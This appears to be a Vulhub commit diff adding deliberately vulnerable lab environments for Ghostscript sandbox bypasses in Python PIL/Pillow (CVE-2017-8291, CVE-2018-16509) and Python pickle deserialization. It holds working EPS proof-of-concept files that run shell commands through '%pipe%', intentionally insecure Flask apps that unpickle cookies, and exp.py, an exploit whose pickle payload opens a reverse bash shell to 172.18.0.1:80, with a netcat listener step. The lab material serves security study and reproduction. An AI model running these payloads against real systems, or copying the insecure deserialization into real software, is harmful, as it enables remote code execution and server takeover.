first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.1 KiB

View File

@@ -0,0 +1,61 @@
# Python PIL/Pillow Remote Command Execution (GhostButt / CVE-2017-8291)
[中文版本(Chinese version)](README.zh-cn.md)
Python PIL (Pillow) is a popular image processing library for Python. It supports various image formats and provides powerful image manipulation capabilities.
The Python image processing module PIL (Pillow) is affected by the GhostButt vulnerability (CVE-2017-8291) because it internally calls GhostScript to process EPS images. This vulnerability allows attackers to execute arbitrary commands on the target system.
When PIL processes an image, it determines the image type based on the file header (Magic Bytes). If it identifies an EPS file (header starting with `%!PS`), it passes the file to `PIL/EpsImagePlugin.py` for processing.
In this module, PIL calls the system's GhostScript command (`gs`) to process the image file:
```python
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages,
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
]
# Code to check if GhostScript is installed is omitted
try:
with open(os.devnull, 'w+b') as devnull:
subprocess.check_call(command, stdin=devnull, stdout=devnull)
im = Image.open(outfile)
```
Although the `-dSAFER` flag is set (safe mode), a sandbox bypass vulnerability in GhostScript (GhostButt CVE-2017-8291) allows this safety mechanism to be bypassed, enabling arbitrary command execution.
As of this writing, even the latest official GhostScript version 9.21 is still affected by this vulnerability. Therefore, as long as GhostScript is installed on the operating system, PIL is vulnerable to command execution.
References:
- [Exploiting Python PIL Module Command Execution Vulnerability](http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/)
- [CVE-2017-8291 Details](https://nvd.nist.gov/vuln/detail/CVE-2017-8291)
- [GhostScript Security Advisory](https://www.ghostscript.com/security-advisories.html)
## Environment Setup
Execute following command to start a web application that is vulnerable to the CVE-2017-8291 vulnerability:
```
docker compose up -d
```
After starting, visit `http://your-ip:8000/` to access the upload page.
## Vulnerability Exploitation
The normal functionality of this application allows users to upload a PNG file. The backend uses PIL to load the image and output its dimensions. However, we can exploit this by changing the extension of an executable EPS file to PNG and uploading it. Since the backend determines the image type based on the file header rather than the extension, the file extension check can be bypassed.
For example, we can upload [poc.png](poc.png), which will execute the command `touch /tmp/aaaaa` on the server. By modifying the command in the POC to a reverse shell command, we can obtain shell access to the server:
![Vulnerability Exploitation](01.png)

View File

@@ -0,0 +1,59 @@
# Python PIL 远程命令执行漏洞GhostButt / CVE-2017-8291
Python PILPillow是一个流行的 Python 图像处理库,支持多种图像格式并提供强大的图像处理功能。
Python 中处理图片的模块 PILPillow因为其内部调用了 GhostScript 而受到 GhostButt 漏洞CVE-2017-8291的影响造成远程命令执行漏洞。
PIL 内部根据图片头Magic Bytes判断图片类型如果发现是一个 EPS 文件(头为 `%!PS`),则分发给 `PIL/EpsImagePlugin.py` 处理。
在这个模块中PIL 调用了系统的 gs 命令,也就是 GhostScript 来处理图片文件:
```python
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages,
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
]
# 省略判断是否安装 GhostScript 的代码
try:
with open(os.devnull, 'w+b') as devnull:
subprocess.check_call(command, stdin=devnull, stdout=devnull)
im = Image.open(outfile)
```
虽然设置了 `-dSAFER`,也就是安全模式,但因为 GhostScript 的一个沙盒绕过漏洞GhostButt CVE-2017-8291导致这个安全模式被绕过可以执行任意命令。
另外截至目前GhostScript 官方最新版 9.21 仍然受到这个漏洞影响,所以可以说:只要操作系统上安装了 GhostScriptPIL 就存在命令执行漏洞。
参考链接:
- [Exploiting Python PIL Module Command Execution Vulnerability](http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/)
- [CVE-2017-8291 详情](https://nvd.nist.gov/vuln/detail/CVE-2017-8291)
- [GhostScript 安全公告](https://www.ghostscript.com/security-advisories.html)
## 环境搭建
执行如下命令启动一个存在漏洞的Web应用其中使用了PIL处理用户上传的文件
```
docker compose up -d
```
环境启动后,访问 `http://your-ip:8000/` 即可看到一个上传页面。
## 漏洞复现
该应用的正常功能是允许用户上传一个 PNG 文件,后端调用 PIL 加载图片,输出图片的长宽。但我们可以将可执行命令的 EPS 文件后缀改成 PNG 进行上传,因为后端是根据文件头来判断图片类型,所以能够绕过后缀检查。
例如,我们可以上传 [poc.png](poc.png),该文件会在服务器上执行 `touch /tmp/aaaaa` 命令。通过将 POC 中的命令修改为反弹 shell 命令,我们可以获得服务器的 shell 访问权限:
![漏洞利用演示](01.png)

View File

@@ -0,0 +1,72 @@
'''get image size app'''
# coding=utf-8
import os
from flask import Flask, request, redirect, flash, render_template_string, get_flashed_messages
from PIL import Image
from werkzeug.utils import secure_filename
UPLOAD_FOLDER = '/tmp'
ALLOWED_EXTENSIONS = set(['png'])
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.secret_key = 'test'
def get_img_size(filepath=""):
'''获取图片长宽'''
try:
img = Image.open(filepath)
img.load()
return img.size
except:
return (0, 0)
def allowed_file(filename):
'''判断文件后缀是否合法'''
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
'''文件上传app'''
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
image_file = request.files['file']
if image_file.filename == '':
flash('No selected file')
return redirect(request.url)
if not allowed_file(image_file.filename):
flash('File type don\'t allowed')
return redirect(request.url)
if image_file:
filename = secure_filename(image_file.filename)
img_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
image_file.save(img_path)
height, width = get_img_size(img_path)
return '<html><body>the image\'s height : {}, width : {}; </body></html>'\
.format(height, width)
return render_template_string('''
<!doctype html>
<title>Upload new File</title>
<h1>Upload new File</h1>
{% with messages = get_flashed_messages() %}
{% if messages %}
<ul class=flashes>
{% for message in messages %}
<li>{{ message }}</li>
{% endfor %}
</ul>
{% endif %}
{% endwith %}
<form method=post enctype=multipart/form-data>
<p><input type=file name=file>
<input type=submit value=Upload>
</form>
''')
if __name__ == '__main__':
app.run(threaded=True, port=8000, host="0.0.0.0")

View File

@@ -0,0 +1,9 @@
version: '2'
services:
web:
image: vulhub/ghostscript:9.21-with-flask
command: python app.py
volumes:
- ./app.py:/usr/src/app.py
ports:
- "8000:8000"

View File

@@ -0,0 +1,100 @@
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
/size_from 10000 def
/size_step 500 def
/size_to 65000 def
/enlarge 1000 def
%/bigarr 65000 array def
0
size_from size_step size_to {
pop
1 add
} for
/buffercount exch def
/buffersizes buffercount array def
0
size_from size_step size_to {
buffersizes exch 2 index exch put
1 add
} for
pop
/buffers buffercount array def
0 1 buffercount 1 sub {
/ind exch def
buffersizes ind get /cursize exch def
cursize string /curbuf exch def
buffers ind curbuf put
cursize 16 sub 1 cursize 1 sub {
curbuf exch 255 put
} for
} for
/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def
enlarge array aload
{
.eqproc
buffersearchvars 0 buffersearchvars 0 get 1 add put
buffersearchvars 1 0 put
buffersearchvars 2 0 put
buffercount {
buffers buffersearchvars 1 get get
buffersizes buffersearchvars 1 get get
16 sub get
254 le {
buffersearchvars 2 1 put
buffersearchvars 3 buffers buffersearchvars 1 get get put
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
} if
buffersearchvars 1 buffersearchvars 1 get 1 add put
} repeat
buffersearchvars 2 get 1 ge {
exit
} if
%(.) print
} loop
.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put
buffersearchvars 0 get array aload
sdevice 0 get
16#3e8 0 put
sdevice 0 get
16#3b0 0 put
sdevice 0 get
16#3f0 0 put
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

View File

@@ -0,0 +1,92 @@
# Python PIL/Pillow Remote Command Execution (CVE-2018-16509)
[中文文档](README.zh-cn.md)
PIL/Pillow is a widely used image processing library in Python.
In Ghostscript versions prior to 9.24, there exists a -dSAFER sandbox bypass vulnerability (CVE-2018-16509). Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction.
This vulnerability affects various applications that use Ghostscript for image processing, including Python's PIL/Pillow library. When an application uses PIL/Pillow to process user-uploaded images and the environment has a vulnerable version of Ghostscript installed, it may lead to remote command execution.
References:
- [Ghostscript: -dSAFER bypass (CVE-2018-16509)](https://seclists.org/oss-sec/2018/q3/142)
- [PIL/Pillow EPS Image Processing](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py)
- [Ghostscript Sandbox Bypass Analysis](https://paper.seebug.org/1159/)
## Environment Setup
Execute the following command to start a vulnerable Flask application (using Ghostscript 9.23):
```
docker compose up -d
```
After the environment is started, visit `http://your-ip:8000` to see a simple image upload page.
## Vulnerability Reproduction
Prepare a malicious EPS file (provided as `rce.jpg` in this environment) with the following content:
```
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
```
Visit `http://your-ip:8000` and upload this file.
After uploading, the server will process this image using PIL/Pillow, and when the `resize` function is called, it will trigger the vulnerability and execute the `touch /tmp/got_rce` command.
Execute the following command to verify if the vulnerability has been successfully exploited:
```
docker compose exec web ls -la /tmp/
```
If you see the `/tmp/got_rce` file, it means the command execution was successful.
## Vulnerability Analysis
The core of the vulnerability lies in PIL/Pillow calling the system's Ghostscript program when processing EPS images. In `EPSImagePlugin.py`, PIL uses `subprocess` to call Ghostscript:
```python
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage
]
```
Although the `-dSAFER` parameter is used, Ghostscript versions prior to 9.24 have a sandbox bypass vulnerability that allows attackers to execute arbitrary commands through specially crafted PostScript code.
In the sample application, when an image is uploaded, it is processed as follows:
```python
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
```
Simply calling `Image.open()` will not trigger the vulnerability, but when methods that actually need to load image data, such as `resize()` or `save()`, are called, they will trigger the Ghostscript call and execute malicious commands.
To fix this vulnerability, you need to update Ghostscript to version 9.24 or higher, or disable EPS image processing functionality when using PIL/Pillow to process user-uploaded images.

View File

@@ -0,0 +1,90 @@
# Python PIL/Pillow 远程命令执行漏洞 (CVE-2018-16509)
[English](README.md)
PIL/Pillow 是 Python 中广泛使用的图像处理库。
在 Ghostscript 9.24 版本之前,存在一个 -dSAFER 沙盒绕过漏洞CVE-2018-16509攻击者可以通过构造恶意的图片文件在图片处理过程中执行任意命令。这个漏洞影响了使用 Ghostscript 进行图像处理的多种应用,包括 Python 的 PIL/Pillow 库。当应用程序使用 PIL/Pillow 处理用户上传的图片时,若环境中安装了存在漏洞的 Ghostscript则可能导致远程命令执行。
参考链接:
- [Ghostscript: -dSAFER bypass (CVE-2018-16509)](https://seclists.org/oss-sec/2018/q3/142)
- [PIL/Pillow EPS Image Processing](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py)
- [Ghostscript 沙箱绕过漏洞分析](https://paper.seebug.org/1159/)
## 环境搭建
执行如下命令启动一个包含漏洞的 Flask 应用(使用 Ghostscript 9.23 版本):
```
docker compose up -d
```
环境启动后,访问 `http://your-ip:8000` 即可看到一个简单的图片上传页面。
## 漏洞复现
准备一个恶意的 EPS 文件(本环境中已提供 `rce.jpg`),其内容如下:
```
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
```
访问 `http://your-ip:8000`,上传这个文件。
上传后,服务器会使用 PIL/Pillow 处理这个图片,在调用 `resize` 函数时会触发漏洞,执行 `touch /tmp/got_rce` 命令。
执行以下命令验证漏洞是否成功利用:
```
docker compose exec web ls -la /tmp/
```
如果看到 `/tmp/got_rce` 文件,则说明命令执行成功。
## 漏洞分析
漏洞的核心在于 PIL/Pillow 在处理 EPS 图像时会调用系统的 Ghostscript 程序。在 `EPSImagePlugin.py`PIL 使用 `subprocess` 调用 Ghostscript
```python
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage
]
```
虽然使用了 `-dSAFER` 参数,但 Ghostscript 9.24 版本之前存在沙盒绕过漏洞,攻击者可以通过特制的 PostScript 代码执行任意命令。
在示例应用中,当图片上传后,会进行如下处理:
```python
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
```
仅调用 `Image.open()` 不会触发漏洞,但当调用 `resize()``save()` 等需要实际加载图片数据的方法时,会触发 Ghostscript 的调用,从而执行恶意命令。
要修复此漏洞,需要更新 Ghostscript 到 9.24 或更高版本,或者在使用 PIL/Pillow 处理用户上传的图片时,禁用 EPS 图像处理功能。

View File

@@ -0,0 +1,66 @@
from flask import Flask, flash, get_flashed_messages, make_response, redirect, render_template_string, request
from os import path, unlink
from PIL import Image
import tempfile
app = Flask(__name__)
app.secret_key = "0123456789ABCDEF"
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
r = make_response()
r.data = open(img_path, "rb").read()
r.headers['Content-Disposition'] = 'attachment; filename=resized_{}'.format(filename)
unlink(img_path)
return r
return render_template_string('''
<!doctype html>
<title>Image Resizer</title>
<h1>Upload an Image to Resize</h1>
{% with messages = get_flashed_messages() %}
{% if messages %}
<ul class=flashes>
{% for message in messages %}
<li>{{ message }}</li>
{% endfor %}
</ul>
{% endif %}
{% endwith %}
<form method=post enctype=multipart/form-data>
<p><input type=file name=image>
<input type=submit value=Upload>
</form>
''')
if __name__ == '__main__':
app.run(threaded=True, port=8000, host="0.0.0.0")

View File

@@ -0,0 +1,9 @@
version: '2'
services:
web:
image: vulhub/ghostscript:9.23-with-flask
command: python app.py
volumes:
- ./app.py:/usr/src/app.py
ports:
- "8000:8000"

View File

@@ -0,0 +1,10 @@
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops

BIN
python/unpickle/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

View File

@@ -0,0 +1,14 @@
FROM python:latest
LABEL maintainer="phithon <root@leavesongs.com>"
COPY requirements.txt /tmp/requirements.txt
RUN mkdir /app \
&& pip install -U -r /tmp/requirements.txt
EXPOSE 8000
WORKDIR /app
ENTRYPOINT ["gunicorn"]

69
python/unpickle/README.md Normal file
View File

@@ -0,0 +1,69 @@
# Python Unpickle Deserialization Remote Code Execution
[中文版本(Chinese version)](README.zh-cn.md)
Python's pickle module is a popular serialization/deserialization tool that converts Python objects into byte streams and vice versa. However, when untrusted data is deserialized using pickle, it can lead to arbitrary code execution.
This vulnerability occurs when an application deserializes user-controlled data using the pickle module without proper validation. An attacker can craft a malicious serialized object that, when deserialized, executes arbitrary commands on the target system.
References:
- http://rickgray.me/2015/09/12/django-command-execution-analysis.html
- https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
- https://docs.python.org/3/library/pickle.html#pickle.loads
- https://intoli.com/blog/dangerous-pickles/
## Environment Setup
Execute the following command to start the vulnerable Flask application:
```
docker compose build
docker compose up -d
```
After the server is started, you can access `http://your-ip:8000` in your browser. The page will display `Hello {username}!`, where username is retrieved from the 'user' cookie. The application performs base64 decoding and deserialization on this cookie to extract the "username" variable. If no valid cookie is found, it defaults to "Guest".
The vulnerable code in app.py looks like this:
```python
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
```
## Vulnerability Reproduction
To exploit this vulnerability, we need to create a malicious pickle object that will execute arbitrary commands when deserialized. The exploit uses Python's `__reduce__` method to specify what function to call when the object is unpickled.
The provided exploit script (exp.py) creates a malicious pickle object that establishes a reverse shell connection to the attacker's machine:
```python
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system, (s,))
```
To execute the exploit, first set up a netcat listener on your machine to receive the reverse shell:
```
nc -lvp 80
```
Then run the exploit script to send the malicious cookie to the vulnerable application:
```
python3 exp.py
```
When the server deserializes the malicious pickle object, it will execute the command and establish a reverse shell connection to your machine:
![Reverse Shell Demonstration](1.png)

View File

@@ -0,0 +1,67 @@
# Python Unpickle 反序列化远程代码执行漏洞
Python的pickle模块是一个流行的序列化/反序列化工具可以将Python对象转换为字节流反之亦然。然而当使用pickle反序列化不受信任的数据时可能导致任意代码执行。
当应用程序在没有适当验证的情况下使用pickle模块反序列化用户可控数据时就会出现此漏洞。攻击者可以构造恶意序列化对象在反序列化时在目标系统上执行任意命令。
参考链接:
- http://rickgray.me/2015/09/12/django-command-execution-analysis.html
- https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
- https://docs.python.org/3/library/pickle.html#pickle.loads
- https://intoli.com/blog/dangerous-pickles/
## 环境搭建
执行以下命令启动存在漏洞的Flask应用
```
docker compose build
docker compose up -d
```
环境启动后,可以在浏览器中访问`http://your-ip:8000`。页面将显示`Hello {username}!`其中username是从'user' cookie中获取的。应用程序对此cookie执行base64解码和反序列化以提取"username"变量。如果没有找到有效的cookie则默认为"Guest"。
app.py中的漏洞代码如下
```python
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
```
## 漏洞复现
要利用此漏洞我们需要创建一个恶意的pickle对象该对象在反序列化时将执行任意命令。该利用使用Python的`__reduce__`方法来指定对象被反序列化时要调用的函数。
提供的利用脚本(exp.py)创建了一个恶意pickle对象该对象建立与攻击者机器的反向shell连接
```python
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system, (s,))
```
要执行此利用首先在您的机器上设置netcat监听器以接收反向shell
```
nc -lvp 80
```
然后运行利用脚本将恶意cookie发送到存在漏洞的应用程序
```
python3 exp.py
```
当服务器反序列化恶意pickle对象时它将执行命令并建立与您机器的反向shell连接
![反向Shell演示](1.png)

19
python/unpickle/app.py Normal file
View File

@@ -0,0 +1,19 @@
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run()

View File

@@ -0,0 +1,9 @@
version: '2'
services:
flask:
build: .
command: -w 4 -b :8000 -u www-data -g www-data --access-logfile - app:app
volumes:
- .:/app
ports:
- "8000:8000"

20
python/unpickle/exp.py Normal file
View File

@@ -0,0 +1,20 @@
#!/usr/bin/env python3
import requests
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system, (s,))
e = exp()
s = pickle.dumps(e)
response = requests.get("http://172.18.0.2:8000/", cookies=dict(
user=base64.b64encode(s).decode()
))
print(response.content)

View File

@@ -0,0 +1,2 @@
flask
gunicorn